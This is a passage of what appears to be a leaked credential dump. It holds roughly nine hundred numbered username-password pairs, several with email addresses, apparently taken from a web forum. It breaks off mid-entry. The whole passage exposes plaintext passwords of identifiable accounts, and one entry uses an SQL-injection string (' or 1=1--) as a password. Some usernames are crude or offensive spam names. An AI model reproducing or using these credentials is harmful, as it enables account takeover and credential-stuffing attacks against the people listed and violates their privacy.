nevermore 22367 aardwolf - ' or 1=1-- 22368 aardwolf@gmail.com - npanpanpanpa 22369 aardwolf - npanpanpanpa 22370 aardwolf - testing123 22371 aaron850679 - 850679 22372 aaronmitchel - 19iepSS611 22373 aasonstawnosawvbv - YDsf9ev644 22374 aassnulptoolla - KUjkZX2435 22375 aavbaseb - Nqkhdqc361 22376 abatee - Enh3mjk 22377 abatlyminia - 9OXdnH4847 22378 abe se - AM=+Q#kox1Oeh@E?J*7;2Z,.8%FWiUjq 22379 abhishekkr - abk$163 22380 abnonnatura - i9YZsCc682 22381 abomebruro - 147852 22382 aborscoahmabs - FE8vBx5916 22383 absetabracced - SBKVc2p115 22384 abubmattdag - 9fekvnD659 22385 abwygca - QsEfTh22 22386 acaielitehkcc - GhqlZk0757 22387 acaisingleloverfedfsededsd - XWZrnlf676 22388 accefiarf - 6UTeezi736 22389 accessmore - rC896dG771 22390 achoke - iltns0 22391 acl - Angus 22392 acsinglehellowworldiloveacai - azhPhRm292 22393 addam - 123456ss 22394 addandy - 5plugnu7 22395 addandy - eq87JfMOIjDbeArw 22396 addile - YPNSCDl878 22397 addipiepecisy - 6HUtmjw361 22398 ad_ee - qwerty 22399 adm1nx - element5 22400 adminlifehacker - mar2mar 22401 adovanave - m11lKR4552 22402 adultfriendly - bJy1qZZ539 22403 advenspirit - ------ 22404 advenspirit - jimbean1 22405 adwpkdc - QsEfTh22 22406 af22man - Heratic1 22407 affedvetdot - lAoHp8L292 22408 afferadurge - jaEj5bP873 22409 affisypedrisa - WkCUbi4194 22410 afrswimmer - relay4life 22411 agaffiy - 232323232323 22412 agentnintynine - 4Trj4e0689 22413 ahtyuhty - 123456 22414 aideceasson - jlk1bP7298 22415 aiderodar - zhlNcnk388 22416 aideviddituro - ITOch1k174 22417 aih85 - u9U2cAx385 22418 airwolf - CG3RME9eZxCdYo7t 22419 ajdanak - apes4u 22420 ajdanak - apples4u 22421 ajvpot - savita 22422 aku - universe 22423 alakar - bdw2k8 22424 alakar - nightwolf@ 22425 alancop - glove85 22426 albert7480 - trebla321 22427 alcans - [14pyro93] 22428 alelsayed - fuckyou2 22429 alertyattinly - zhlNcnk388 22430 alevtinka - yfrjdfkmyz 22431 alexe - dUSC_fEr0$JlR7j 22432 alexeltherington - dUSC_fEr0$JlR7j 22433 alexf10 - alexanderwert 22434 alex.holliz - 171308 22435 alexhxc - 9951541 22436 -alex- - JiA"hx9+ 22437 alexwmz - nODzylZ637 22438 algorwari - RvASG0A115 22439 aliceander - runsoscoe 22440 alifshili - eHpfLcs258 22441 alishahudge - ike02banaA 22442 allaforny - NqQyuX3426 22443 allanelsayed@hotmail.com - fuckyou2 22444 allisonasson - ike02banaA 22445 all-nude - PAR0LLee 22446 allodiaunwils - qKYP6og935 22447 allpyncattency - LsV9F9J866 22448 almighty - dorwssap 22449 aloishis89 - aloishis 22450 alotaclass - boom9boom 22451 altenesoino - QctpmHL896 22452 alternetymn - vRBWlgr874 22453 alubycync - WKrBfkA858 22454 alvinamailew - KU1dQhm573 22455 amadlopes - 19741975 22456 amadlopes - 197419754 22457 a_madman - Jens0107 22458 amateur-sex-teens - yNlJQjg829 22459 amd fan! - 62e56f98fff9e64 22460 amfwori - QsEfTh22 22461 amirman - poolshokk 22462 amugstoombgom - DNLjJ6c 22463 an00bis - lukeleia1016 22464 anaecesam - PDlCLIb147 22465 anaessege - Hg6SyFU312 22466 anbuis_1969 - scorpion1 22467 anceceadvat - Jzj6dNX952 22468 ancentend - rTitunR948 22469 andrewboldman - ZVjmHgC355 22470 android6011 - link00zelda 22471 andyat11 - 2910 22472 angablade - 123123123 22473 angeldimmon - OvalZht513 22474 angelic_torment - angie1 22475 angelictorment - angie1 22476 angelictorment - brathu9h 22477 angelictorment - Clay1Ton2!! 22478 angelictorment - Clay1Ton2!!angie1 22479 angelictorment - tracyl 22480 angelictorment - tracyl1 22481 angeliosa - ih4bQPY984 22482 angelloveyou - J4l4nHc899 22483 anneliamoms - 5x6SIjA359 22484 annyrebela - 0720327605 22485 ansichild - fredbob4 22486 ansichild - suslap 22487 anteangel - Utbn5qj252 22488 anteleburne - uEKUkvj129 22489 anthonynl - hkvdzsJ988 22490 anthrounit - leviathan 22491 antiptemkip - PkTHShy862 22492 antiptemtit - PkTHShy862 22493 antirem - hobbesfox 22494 anubis1969 - scorpion 22495 anync - eDSemZS882 22496 apedbeausia - YRCtjIC117 22497 aperneles - XgJZo66514 22498 aperture kubi - CR$zy455m0f0 22499 apollo - leg1na71 22500 appasyhig - ZINnlXr414 22501 applycreditcards - ZVjmHgC355 22502 aqualuaws - cTK8Qcc791 22503 arbitlelerbib - s8C90qD953 22504 arch3angel - Ad3Moc3A0 22505 ardwolf - password123 22506 arefneriaromi - YORxK7D648 22507 aroppimuptuct - UFkylej436 22508 arrerfish - SSUNkUT453 22509 arrerytauth - B4yopBd977 22510 arrowofdarkness - hurl0ing0 22511 art0on - forumpass 22512 artinnabrap - pKvUo2h374 22513 artvideobest - dXYmYsc456 22514 ashazarbs - pOrzfrc599 22515 ashmirrelson - windows7 22516 ashutarigi - 666666Ff 22517 asseenjoe - 8nEiY6g165 22518 asseenkikla - Oh5Hgq9279 22519 assicaneica - z5jNZQb788 22520 assilsted - 3N9V3L5741 22521 astencuct - Y4lP4dg917 22522 astonmartina - 123456 22523 astottevaphom - x9fuLI0271 22524 astromodder - And$ar789 22525 asydayjobs - easy12aa 22526 asytonyaa - cresco11 22527 atglancemike - 1q9hitn358 22528 ath - athavard 22529 atmomoron - 26EKCsb456 22530 atomikn - kronik4life 22531 atpat22 - 213456789 22532 atrocity - redrover 22533 attaboott - WIgxtwr664 22534 attadorry - f9dzQZs968 22535 attespavy - 75mp1Ru921 22536 attesteno - yBonbPB385 22537 attiniordig - LLYx8rs519 22538 atucom - cpndnoca 22539 atucom - rasterops 22540 auc94 - 5YtjdD0875 22541 audey - thisismypass 22542 aussieklutz - spacedinvaders 22543 aussina07 - aussiezesydny 22544 aussinka07 - 3d3ae039938c545 22545 aussinka07 - aussiezesydny 22546 aussinka07 - l1menaria 22547 aussinka07 - limenaria 22548 aussinka07 - password 22549 autofix - ------ 22550 autofix - 1z2x3c4v 22551 autofix - 1z2x3c4v5b 22552 autofix - 6f05639f2ff3363 22553 autofix - 94df4793cc4d525 22554 autofix - mpi1604 22555 autofix - mpi160490 22556 autolautsprecherboxen - O32Bm6t819 22557 avargum - 5464568 22558 avasmithsson - ike02banaA 22559 aveplabissake - AGtwEUC151 22560 avimertx - 5675678 22561 awqcliz - QsEfTh22 22562 b0n3s - dnipro 22563 b34st1y - rebellion 22564 baaabygirl - ujyrjyu 22565 baberape - baberape18 22566 baby4000 - hamburg 22567 bachebahal_1363 - 319321363m 22568 backtrace - warning01 22569 badpolizei - tex253803 22570 badsector - hun3ter 22571 baffmyiloven - barada99 22572 bainenireld - WbETFB8694 22573 baistckliundev - timosha123 22574 bakkendkk - 123vbn123 22575 ballerburgmcse - 4QselWu424 22576 ballz187 - unborn27 22577 ballz - unborn27 22578 bambomz - baseball777 22579 bandung - gQmkN01145 22580 banglababa - banglapag0l 22581 banglababa - banglapagol 22582 banshee412 - L0kiG0d412 22583 banshee412 - Site4G0d 22584 banshee412 - V3n0m412 22585 bardrekbupe - UzofC6E692 22586 bareexceeds - 1yxnDJd963 22587 barkmaybrinny - ELUJQ7E617 22588 barley - barley 22589 barley - barley88 22590 barleybrother - caroline 22591 barley - testing 22592 barley - welcome55 22593 barry99705 - ------ 22594 barry99705 - Sh@neh 22595 barry99705 - Sh@Neh 22596 bartkarmen - asdf1234 22597 batfire - macdonald 22598 batteryshock - bshock() 22599 bautckldiundev - timosha123 22600 bazastatey.ru - 118511 22601 bbautmaydev - timosha123 22602 bbbaistiundev - timosha 22603 bbbkrnckiundev - timosha 22604 bbctokiundev - timosha123 22605 bbkjafn - QsEfTh22 22606 bctokiundev - timosha 22607 bdsmgirlz - bdsmgirla18 22608 bdtgoku - bdtgohan 22609 bdtgoku - bdtou812 22610 beactdauctita - bNSlHNf119 22611 beakmyn - fr4nkl1n 22612 beakmyn - pumic3 22613 beanceboync - 4LzNyHK467 22614 bearfatrope - 8yT0LLN671 22615 beatriceswan - ike02banaA 22616 beauttundessy - AYb9z3S416 22617 bedsfleedyfekuolpe - 0J7X786236 22618 beefswedo - HPXFUeV618 22619 beikerspace - JaYogqd445 22620 beiseembals - PWLXdeC519 22621 belgarion - sebbe23 22622 belmakonybulgarianonlinemkjnk - gyow74g434 22623 benjamin1254 - b3nj4m1n 22624 benjamintimtmd - Y7zfZrP147 22625 benoahriz - design#100 22626 benwilowz - vJHYFxH185 22627 bercik - solider2 22628 berrulisso - uHjckyq917 22629 berweitephips - SrFdwTF211 22630 besitapetes - vuYj66l556 22631 bestpharmacystore - storeonline123 22632 besttubfrtt - 12345678 22633 bfvogel - gateway1 22634 bgaqwrl - QsEfTh22 22635 bhhhiundev - timosha 22636 biameteheal - 0PXcxe5359 22637 bierhedd - Badger81 22638 bigfatbball2 - 2107hack@rvc@ 22639 bigj51 - bigpoppa_9 22640 bigscary1 - westside 22641 bigswagma - OKN0W91698 22642 bigtombb - cresco11 22643 bikeswine - copperk96h 22644 billhelu - Money159 22645 billslimgates - Money159 22646 binarybullit - There is no spoon. 22647 binky - awdrg123 22648 binky - imper333 22649 bitbad - 1b2fb9bb62d4469 22650 bittersweetca - lfif1991 22651 bizeequabuh - APLesBe683 22652 bkrnckmaydev - timosha 22653 blablasometin8 - typingbecauseoffaggot2922 22654 blablasometin8 - typingforismo1 22655 blackriver - lawman 22656 blackriver - lawman!4096 22657 blackriver - lawman4096 22658 blemmcklyundev - timosha 22659 bliderctiundev - timosha 22660 blidermaydev - timosha 22661 blidgekillrix - oAl3OiG136 22662 blipsnart - 12345678 22663 blitmebterymn - CgDt4ew872 22664 blnotmy - QsEfTh22 22665 bloobeviersig - vQXwImw514 22666 blowfish - 124578 22667 blowlelia - 0jLj0AO655 22668 blowlelia - 123456 22669 blue dragon - c0mp0siting 22670 bluefigtoast - m1stycat 22671 bluefigtoast - stun0d 22672 bluejewelery - JRPGjsw996 22673 bluejewel - wl0QGQv315 22674 bluntm - 080688Cl 22675 bmdsherman - paddyd 22676 bmwracer0 - 092888 22677 bnaistclkiundev - timosha 22678 bnashamaydev - timosha 22679 boardbreaker - viper3 22680 boardiabign - KuvydPb782 22681 bobbyt - BKn5fjv249 22682 bob_s - bob_s_0 22683 boem - hak127x 22684 bofh139 - noodle 22685 bofh - noodle 22686 bohh - 0rangetr0ll 22687 bohh - tink3r 22688 boinq - coolu050892 22689 boldkevin - red2000TL 22690 bolts - P4p3rCl!p! 22691 bomberman - tambot 22692 bones - dnipro 22693 bonzai - vtennis 22694 boogdebuire - 3hmrTYl257 22695 booger - liljalg 22696 booksmart - fi3ESXk695 22697 bourvi - 12356794 22698 boyszko - QsEfTh22 22699 boz8883 - garou324 22700 boz - garou324 22701 bpdkrniundev - timosha 22702 bpedman - Hr1QdLNc 22703 bprecup - sh0nuff 22704 bpshirase - america_oh 22705 bradothousman - rigel5115 22706 brainhacker12 - kevlarbarsin 22707 brainhacker12 - kleberballfreund 22708 brandongates - Money159 22709 bratherpayoro] - K16RtH1664 22710 breforoappere - Fa6SKui776 22711 brein - cannibal 22712 brendan - paddyd 22713 brett teh panda - 123bugme 22714 breznika - atzQQi1938 22715 brhalbw - QsEfTh22 22716 brian_dnfr - 357d0fe030f77d7 22717 brian_dnfr - #hjkyui67 22718 brians - aa05c016b71bdc0 22719 brians - EuuJ$mQL 22720 briansierakowski - aa05c016b71bdc0 22721 briansierakowski - Griffen1 22722 brianzimm - rustyzim000 22723 brighteyedea - 10110100 22724 brighteyedea - livingend 22725 brightlight - OGqk74x978 22726 brineiundev - timosha 22727 brinklerg - brinklerg66 22728 britneylohhans - ZVjmHgC355 22729 broadcaststorm - williamsf1 22730 broariliainna - 0uCI69a167 22731 brookefox - ertert 22732 brsonale - de3FdAq 22733 bruceniggas - 7474584665 22734 bruk0ut - mast3r32 22735 brumernhen - 147852 22736 brungilda - TurRU9K278 22737 bshatirigi - 666666Ff 22738 bskladcklyundev - timosha 22739 btaliskclkiundev - timosha 22740 btalskiundev - timosha123 22741 btcmjpr - QsEfTh22 22742 btf064 - quad40f 22743 btosiundev - timosha 22744 bugjuice - abra666 22745 bugrignee - LLXJqXL311 22746 bumpunfainawn - OWHnfpW265 22747 burn420 - Fuck0ff420 22748 burncycle - 8y19mkjae# 22749 burnsoft@gmail.com - M*nkey00 22750 buyjurek - p8AXsgy981 22751 buyownswitch - voip123 22752 buypharmacy - Kj7Gt65F 22753 buyviagrasaleonlineop - zaaarae12 22754 buyviagrasaleonlinewa - zaaarae12 22755 buyviagrasaleonline - zaaarae12 22756 buzzwang - morrigan 22757 bvcqlcb - QsEfTh22 22758 bvkpdclkadiundev - timosha 22759 bvspppw - OXzjPrG748 22760 byebyeloser - madman 22761 bykqinm - QsEfTh22 22762 bzpttehiundev - timosha 22763 c3ntauri - 957blue5 22764 cajun - ABcd45#*151 22765 cajunslave06 - ABcd45#*15 22766 cajunslave06 - ABcd45#*151 22767 cajunslave06 - uzi4you 22768 cakk - lakcak1964 22769 camilian - cs12re5 22770 camintmier - mint17 22771 candaneedaces - 2oCGbNv955 22772 cannyevex - wl0QGQv315 22773 capheind - cat12hat 22774 capt_chip - 022283 22775 capt_chip - h022283 22776 carboman - 49e74c4be47333b 22777 carboman - 7da0d4573e5577e 22778 carboman - 7da0d4573e5577e 22779 carboman - b55273236542107 22780 carcachettels - TIgv049215 22781 carcar1 - carcar1 22782 careless223 - kerber0s3 22783 carlosgatesh - Money159 22784 casinoka - riderape18 22785 casinoza - casinoza18 22786 castro770 - brenda21 22787 castro - brenda21 22788 castro - brenda21W92for$ 22789 castro - W92for$ 22790 catherinecarter85 - merci123 22791 cavaenhange - PWLXdeC519 22792 cawduessesy - vXL1Ymy858 22793 cawlo16 - 654645 22794 cbaargh - ac-3dts 22795 cc_never_die - nomoney2502 22796 cdawerty - EeJhlDb829 22797 cedricyh - 51adAnS863 22798 ceedee - gotcha 22799 celestemmcknight - T3cBLn7646 22800 cemnakyorarry - vff5c1f922 22801 cemwedomealep - uLih4om822 22802 cenerrejeria - hHB9RqG679 22803 cerex - d1gp4nact 22804 cerex - heqyyq3h 22805 cewcewideodia - VUYhzhN394 22806 cha1nbull3t - Triplets 22807 chaissito - lJSU3CN783 22808 chakir - Adsk6k6k 22809 chalito - 8c840ec42e4f047 22810 chalito - wizards 22811 chalito - Wizards1 22812 charle123 - peacecharu 22813 charm - ------ 22814 charm_quark - 71583073beb00eb 22815 charm_quark - slimweed 22816 charm_quark - slimWEED 22817 chaser48 - 242623 22818 cheapviagra - 786786 22819 chearhspoes - 12axzas21a 22820 chearmeidasca - 12axzas21a 22821 chearmeidaxz - 12axzas21a 22822 che - b199db232db9d6d 22823 chelentanoxl - DuFLe3e555 22824 chelgurl - 123456789 22825 chenseswinelintette - znNSjdS971 22826 chete.brown - viral737 22827 chete - viral737 22828 chevronx - c0es5iam 22829 chevronx - u55nnvvb 22830 chevronx - u5nnvvb 22831 chillcousin21 - chill21 22832 chris86t - rh4349 22833 christek - programmer1 22834 christek - shiplet1 22835 chuckley54494 - ------ 22836 chuckley54494 - linnea54494 22837 cigcheagmamuh - G1y8hSl616 22838 cindyslimg - Money159 22839 cis4smack - 000921 22840 claicaappoist - uvfxfIW689 22841 clanmacarms - 4581998 22842 clanmacarms - 4581998baby 22843 clanmacarms - 458998 22844 clanmacarms - 94b97f92ca74e80 22845 clanmacarms - babyx2 22846 claplysyboalf - K1i3ICe913 22847 clay - m23689 22848 clayshek - m23689 22849 clealalix - 1nSY9SF731 22850 clearlypro - bJy1qZZ539 22851 cleavybrell - yco7XDo382 22852 clickerman - dipper12 22853 cliennasirl - 5shPxyT445 22854 clyniklyinsane - cc0cac93c2b789e 22855 clyniklyinsane - insan3 22856 clyniklyinsane - insane 22857 clyniklyinsane - m2dworld 22858 cmddotexe - letmein 22859 cmddotexe - newland22 22860 cninja - france 22861 coaffabok - T0aH10i772 22862 cobra6460 - 78210 22863 cobra6460 - slipknot6460 22864 cocochanels - pStyb1k636 22865 cogskesse - ALeqBVp347 22866 cokeman - pandora 22867 coldheat - xy12pq 22868 colt 45 j - 159753 22869 colt 45 j - 951753 22870 common067 - hpdv9812us 22871 computerdoctor - august07 22872 consonet - monika123linda 22873 coolbh - brendan 22874 coolbh - maxfli@golf911 22875 cootormen - aaJ70aEq 22876 copper7op - 99Accord 22877 coreyja - Boreyja 22878 cornboy3 - oliver1 22879 coryspoobre - uw63ux1772 22880 courterbag - w1ngnut$ 22881 courterbag - w1ngnut4 22882 courterbag - wingnuts 22883 crabsbroorn - xCp7GAW872 22884 cracknel - ajbalachim 22885 craighb - 4kitten 22886 craigsblackie - ------ 22887 craigsblackie - dreamcast 22888 crazyren - renosh! 22889 crergenna - GlsLD2P242 22890 cretintamelam - K1i3ICe913 22891 crgwbr - craig101 22892 croctorsmoothy - assword5 22893 crofferesnire - GCGOklR116 22894 cruisinue - OKGLIlu797 22895 crurdexturb - qYAhFuX919 22896 crydaydew - wiP4OX7727 22897 cryptk@gmail.com - scorcher 22898 cryptk - scorcher 22899 csabalex - fonograf 22900 cshmpbb - QsEfTh22 22901 csxorrp - QsEfTh22 22902 culile - 9cbc7033b2beb37 22903 cuzcleo - QsEfTh22 22904 cvv_live_forever - nomoney2502 22905 cwig - 5235s104 22906 cyb3rtaf - 0944128w 22907 cyberassassin - 09082912 22908 cyberassassin - g33king0u7 22909 cybersnake - tatlim 22910 cybrshrk - 8coug3 22911 cyclallitindy - 1w3iPB2886 22912 cykio - hak5 22913 cyoung_mi - d4tcxr 22914 cz01 - thor28:od 22915 d1ck0 - mcwillis 22916 d1rkg3ntly - 5158af0f3fcbe14 22917 d1rkg3ntly - a!DEIogg 22918 d3sm0nd - roflzorz 22919 dabrahams - mcsec55hak 22920 dady203 - 0773199513 22921 dady203 - 2009 22922 dady203 - ff7682ca13eaeb8 22923 dady203 - inchallah 22924 daehlie - htableh 22925 daehlie - Htableh1 22926 dagis - f0rget1t! 22927 dagis - Matthew1 22928 daikun - infolink 22929 daisy - 99hak599 22930 dajuiceyone615 - PikeAPSU2006 22931 daleboy - Cartman 22932 dalepearson - ------ 22933 dallaskorben - ------ 22934 dallaskorben - Multipass 22935 d_almighty - dorwssap 22936 damocles - Aph79Hak5asia 22937 damolp - mullum2 22938 danfon - dmsmcb 22939 dangerduck - 12melbax 22940 dangkywebntk - bachtuoc 22941 danielglance - UIv5yKd524 22942 daningling - Danno669 22943 daniunfaicy - xCp7GAW872 22944 danny - dmsmcb 22945 dannyf - dmsmcb 22946 dantex64 - fruwcioe 22947 darcon - vermillion 22948 darcon - vermillion0727 22949 darcon - Vermillion0727 22950 darius_m5 - habiba 22951 darkangleofd34th - deller564 22952 darkjedicoder - superfreak 22953 darkjoker - 9058955313305 22954 darthneo - calendar1 22955 dasada122 - dasada 22956 dasada - dasada 22957 daskel - butthead 22958 dass717lltmnrn - shamyport2180 22959 data - e4e5f4exf4 22960 date rape sublime - kakaxaqwe 22961 davaelalimb - 266FPPN824 22962 dave2299 - 8992828ab8f196e 22963 dave2299 - fluffY_!huff99# 22964 davehardy20 - fordfocus 22965 daverto - megatokyo 22966 daverto - Megatokyo 22967 davidbon2008 - yeuemtu1989 22968 davil - C5FuR7k-giWBBIwczi5f 22969 daydrowly - t9uIL2O628 22970 ddaddygos - asdf1234 22971 ddddddd - wCvHseH5ND 22972 ddes - Panther 22973 ddjealioffbof - QVYlGl6123 22974 ddzoorimmumpini - QVYlGl6123 22975 dead_already - 4be84ae79fa7d6d 22976 deags - qwert 22977 deathdefyer2002 - chances86 22978 declan - skip97 22979 deepn1ke - saracen79d 22980 defunter - OVcPvT0255 22981 deklooonser - dstnnds78d 22982 deltadesu - Panther 22983 dendkayaply - m1vtNcw962 22984 dennis123123 - 123123 22985 derekshills - z14789632 22986 desheng91 - 5079326 22987 dessscerelm - EqaoTUR522 22988 destinydriven - hk40p220 22989 destinydriven - ml12p321 22990 destro - 122152 22991 deveant - bullet 22992 devil_82 - 170219 22993 devildragon76 - bishop 22994 devildragon76 - bishop76 22995 devildragon76 - bisop76 22996 devilking - kitty 22997 devilking - mrkitty 22998 devilkings - kitty 22999 devilkings - mrkitty 23000 dfdf - dfdfdf 23001 dgivsfx - QsEfTh22 23002 dht420 - oxc197ha 23003 diablo666 - charlie666 23004 dia - diaadiaa 23005 digininja - yourf0t 23006 digip - quinn$123 23007 digital dog - dovies2u 23008 digitalmaniak3k - k00lk00l 23009 digivore - n0t0rang 23010 digivore - notorang 23011 dilbg - rr1209 23012 dimitar - Eveline 23013 dinaengable - hIUnstH449 23014 dineshk821012 - din821012 23015 diplomacy - solition 23016 dirkonsko - asdf1234 23017 dismalmoron - bob123456 23018 ditextil - 54665421 23019 djahmednawaz - 894834236 23020 djdeakyne - booker 23021 djdiff - 8ok-gd-A 23022 djdiff - millas 23023 dllljxh - QsEfTh22 23024 dlw1165 - Neon1999 23025 dmilton - 0123456 23026 dninja91 - NanoP0wer 23027 dobaverve - adkj0ro569 23028 doctormarx - Rr7nHjA199 23029 dodipartizo - vvCI1a3922 23030 dodo - otaku0 23031 dogvrwt - QsEfTh22 23032 domiingegemer - ElKTG4G771 23033 donifana - qWert 23034 donito - DONito28 23035 dontpayfortwitter - VWkKix4553 23036 doohateecenny - SL1X9h1815 23037 doomguard - hak5logon 23038 dotnetfreak - kkyea69 23039 doulos447 - a!DEIogg 23040 dousypeeasero - etRSW7E138 23041 download - uplink 23042 doyouhas - l33t$@uc3 23043 dozern - trustno1 23044 dozer - trustno1 23045 dpatel304 - maruku32 23046 dq888 - chanter 23047 dr0p - Thereisnogodsofuckoff! 23048 draggy - m4661315h07 23049 dragonfreight@bellsouth.net - first1 23050 dragon_hen - dragon 23051 dranged - kronik4life 23052 dr.boris - Q3hR8555j6V69nMQ 23053 dreagerig - 4GCgAnq878 23054 dretlyattella - KuvydPb782 23055 dr gonzo - nirvana480# 23056 dr gonzo - randompass 23057 dr gonzo - slayer!! 23058 drivenmad - cluedart 23059 droopy_drawers - 1234hak54321 23060 droopy_drawers - 6e1e177e8427f1a 23061 droopy_drawers - 99hak599 23062 drurrypreesty - 7koBYz6936 23063 drymnassy - CZ0l7f2733 23064 dsagero - asdf1234 23065 dseldentreiman - Elephant# 23066 dsevers - diQkjfn719 23067 dskstudio - 203644 23068 duckerduck - loulou2@ 23069 duefillulse - aob3Wjs573 23070 duekseeva - YLriEgU582 23071 dummptyhummpty - a43369 23072 dumpa - dumpa123 23073 dunkbraibia - Nb2i9H3184 23074 duntydync - etRSW7E138 23075 dust997 - duma2211 23076 dustinw - allen540* 23077 dustinw - allen540 23078 dustinweathers@mac.com - allen540 23079 dustinw - gotigers08* 23080 dustinw - gotigers08 23081 dustydavis83 - 6db8b3bba714925 23082 dustydavis - Dusty3737! 23083 dw5304 - mAtrIx21 23084 dyee54 - lock0000 23085 dyesmeddy - qkKJdUt442 23086 dylanwinn - callie 23087 easycheese - flotilla 23088 easy forex - 123456789 23089 easyforexnew - 123456789 23090 ebolla - amber 23091 ecommercedesignsforyou - X1cCp7m749 23092 ecommercedesign - Tg1SCYi979 23093 eddiem9 - h5pwd49 23094 edgelpdop - NUz8R87811 23095 edh - imnowan8 23096 edhkim - imnowan8 23097 edinsimon - vernam 23098 effeguckpof - mink1wg114 23099 effireechoona - T1IzJsI644 23100 efk - aofyek 23101 egk83 - hC3k5EQ286 23102 elbow - jqny62 23103 eleazer - random 23104 eleazer - random22 23105 eleazer - Random22 23106 eleazer - random22$ 23107 elidoplarrild - jL3SRKs354 23108 elio173 - x9eli173 23109 elitecodex - heather 23110 elizle - 1D0ntc4r3 23111 ellinkaolssen - wal1Qqn347 23112 ellytamiflu - test123 23113 elm - 3l3m3n 23114 elm - 3l3m3nt 23115 elokicttulk - bC4Cgt6351 23116 elomblum - 147852 23117 elorselavabag - wsfN2NN963 23118 elrawrz - aurumestpotestas20072zephyrfe 23119 elrawrz - p0t3s1a5 23120 embamnastenty - Pik2pyd246 23121 embovehib - nlbI4Zc228 23122 emeply - 3rV6m8J987 23123 emeryth - hak5rulz 23124 emesencedyday - 6NBRgaF526 23125 emimbipsfup - twc9ppU943 23126 emiquifurriva - 4NzEIJE621 23127 emmykinz - dr0wssaP77 23128 empitiata - zYsVLK8747 23129 emtech - linuxmaster 23130 emubotaclette - ZkYTdew234 23131 enabemymn - CVvl870224 23132 endlessfaith - 9134628 23133 endlessfaith - 913468 23134 enerymnnurfzazel - i0Drg2v439 23135 engedygab - uKZsUna445 23136 engiseede - Yf4fDPQ675 23137 enhadeokeld - DQORumC983 23138 enigmaticzidon - kelson 23139 enigmaticzidon - qbal93079 23140 enlinadaf - UzofC6E692 23141 enneract - fireball01 23142 enzomatrix - Bitem3 23143 enzomatrix - biteme 23144 enzomatrix - titi 23145 eperry - e9aeb75a63b7ba2 23146 eperry - g00db33r 23147 eperry - g00db33r! 23148 eperry - Whitetiger 23149 ephemeral - ooh1212 23150 ephespops - c3v0o0p635 23151 eracite - tae4774 23152 eraptitannork - 9AoGs5m697 23153 erenapola - tUTAiK5252 23154 eric.albal - lesbos 23155 erkoasinne - dsdyjmfdf3d 23156 erricaldom - 123456789 23157 erronsoge - qQpsoDr436 23158 errorn0x - R0binh00d 23159 errorn0x - r0ughs3x 23160 escape08 - 5ed30c6c5df63ee 23161 escape08 - dmsmcb 23162 esdhack - ------ 23163 esdhack - 08170817 23164 esdhack - 6wfc353H 23165 esdhack - seraann0817 23166 esonargedonnn - ethdbskk3a 23167 esqulax - stuffpleh 23168 essendappoita - 6z4Gqn1186 23169 essendappoita - IG4yEbQ974 23170 essendappoita - k1NwiSW479 23171 essendappoita - zhUY8Dd173 23172 esxxvxc - QsEfTh22 23173 etftw - roflcopter 23174 ethan hunt - ajarbabon 23175 ethan hunt - ajemvizl 23176 ether - YeTuMC 23177 ethical1 - hacker 23178 ethicalhack3r - abc123 23179 ethicalhack3r - abc123456 23180 ethicalhack3r - tsruhwed1 23181 etm - Marieq1 23182 eugenegh2 - 022283 23183 evansbee - ys7jtf 23184 evaweberson - ike02banaA 23185 eveldpems - S9pCATc527 23186 everever - 31101979 23187 evil0x86 - han... 23188 evil0x86 - hanfei, 23189 evil0x86 - hanfei.. 23190 evil0x86 - hanfei. 23191 evil0x86 - hanfei 23192 evil0x86 - kexingyu 23193 evolutionwd - 4e01354d79e5dad 23194 ewsdedsaf - mwVxi89322 23195 exciqueantete - su8uBBo758 23196 excumpmus - gg0iwrz323 23197 exenefuevanep - OjBvhiU453 23198 exighibise - 147852 23199 exodusv2 - Myacc101 23200 exoneeensueda - 3hcb9b8489 23201 exort - 6x9z1y8 23202 explicit - nastyboy123 23203 exspymannn - J6qzN1H386 23204 extimalax - QawSed37 23205 f1tzy - 1337h4xz 23206 f1tzy - 1337h4xzz 23207 f1tzy - 335533f4158c4d0 23208 fabulouskanchan - kanchansewal 23209 factorygirlone - d7LxyRGg 23210 fadosouroirow - AALz64i247 23211 fafaffy - Alejandro 23212 fafaffy - Alejandro1 23213 fafaffy - tytyfy 23214 fafaffy - tytyfyfy 23215 fakap - baseball777 23216 fakedinvert - 1337age. 23217 fapped - i-am-c00l 23218 fastmanvidz - hvDXnBc834 23219 fbi_beverly.hills - ramizemina 23220 fbkrnckmaydev - timosha 23221 fblade1987 - united 23222 fbsdmon - 4d6332635dd63a6 23223 fbsdmon - meHakPass 23224 fbsdmon - totomass 23225 feectitemia - aiHYjXU132 23226 feelealpsnase - 26EKCsb456 23227 feemopeds - CvIwqUb365 23228 felicegillbert - ike02banaA 23229 felisia - u6HH6kp618 23230 felitawebster - test123 23231 fenschmeister - warwick 23232 fernie - 040469 23233 fernie - 4469 23234 fernie5a - 040469 23235 fernie5a - feernie 23236 fernie5a - fernie 23237 fernie - fernie5a 23238 ferret128 - lisa254 23239 ferrusfleerge - WkUAzW3953 23240 fessoople - RpiyAxP441 23241 ffgandalf - Compaq 23242 fhirdsc - QsEfTh22 23243 fhrewew - asdf1234 23244 fifo_thekid - FiFoFiFo 23245 fighterhayabusa - ister666hak5 23246 filip007 - magnum44 23247 firebrand - ------ 23248 firebrand - slithy-toves 23249 fireking300 - bluefire1 23250 firemexmen - UN8DUim124 23251 firetime - 67656six 23252 firstasseenontvz - OpfahSV984 23253 fischeroptic - sRrHF2A963 23254 fjcoiwi - QsEfTh22 23255 flackaxia - 1ct5WiN113 23256 flanhimiloe - XJwqVWw642 23257 flapjack - sophie 23258 flatfootfox - coolcow 23259 flawless_21 - kud41b3rg3n 23260 fleo - asasin 23261 fleo - asasin1 23262 fleo - asasin123 23263 fleo - e9dfdd4ee41c0af 23264 flermetence - Rn15aH 23265 flexorelm - olHl7nU591 23266 flozz - lollol 23267 fluffyfoxbrush - b4bf9ac117 23268 flulkbult - pc3lotj674 23269 fmchris - programmer1 23270 fogmaster - burninhell 23271 followsound - schapmanict 23272 foobab - baboof 23273 foo - lavalamp 23274 foorncirm - D8l02BZ472 23275 footlyhet - QawSed82 23276 forbrome - 657567s 23277 forced milf sex - kakaxaqwe 23278 fordaparts - NuVH8Xw249 23279 forumadminstrations - 93IPOi1118 23280 forumfanatiker - eptwsof716 23281 fotohostergsm - fotohostergsm00 23282 -=fox=- - joker 23283 -=fox=- - joker917 23284 foxle - coolcow 23285 fox_racing97@hotmail.com - foxracing09 23286 -=fox=- - spitfire 23287 fqtzcfo - QsEfTh22 23288 frankfn - 3xStyri258 23289 frankpintosr - frankie120699 23290 franktank - hak5.org 23291 frankviagrasdrr - q21716000q 23292 frazoppoido - drvumX3967 23293 freakazoid - 